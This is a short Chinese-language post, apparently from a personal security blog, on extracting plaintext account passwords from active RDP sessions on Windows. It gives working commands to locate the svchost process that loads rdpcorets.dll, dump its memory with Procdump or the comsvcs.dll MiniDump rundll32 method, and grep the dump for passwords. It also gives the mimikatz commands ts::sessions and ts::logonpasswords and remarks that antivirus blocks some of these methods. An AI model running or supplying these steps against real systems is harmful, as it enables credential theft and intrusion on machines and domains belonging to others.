提取RDP会话中的明文账号密码

我感到有点累了


注意事项

  • 适用于本地账户和域帐户
  • 必须是正处于 “活动” 状态的 RDP 会话
  • 支持 Win8.1 和 Win2012 之后的所有系统
  • 转储的是 svchost 进程而不是lsass
  • 有时能dump出密码,有时候dump不出来,不知道明文密码会在内存中存在多久

查找rdp连接

PowerShell:netstat -nob | Select-String TermService -Context 1

Assassins小白

存在连接,运行下面这条命令,查找 svchost.exe 进程的 pid

tasklist /M:rdpcorets.dll

将显示加载 rdpcorets dll库的进程

Assassins小白

进程转储方式

  • 使用Process Hacker

  • 使用任务管理器。右键单击该过程,然后选择 “创建转储文件”

Assassins小白

  • 使用 Procdump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]

Assassins小白

  • 使用 comsvc.dll(只在 PowerShell下测试成功)

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 进程ID 1.dmp full

Assassins小白

(procdumpcomsvcs两种方式dump关键进程都会被杀软拦截)

翻密码

进程转储出来后,就需要找到里面的明文密码了

  • 直接搜用户名没发现密码

strings -el 1.dmp | grep test -C3

  • 直接搜密码发现了(怎么精准定位到密码是个问题)

strings -el 1.dmp | grep BBn12345ee -C3

Assassins小白

或,直接在目标机器执行mimikatz获取rdp明文密码

1
2
3
privilege::debug
ts::sessions
ts::logonpasswords

Assassins小白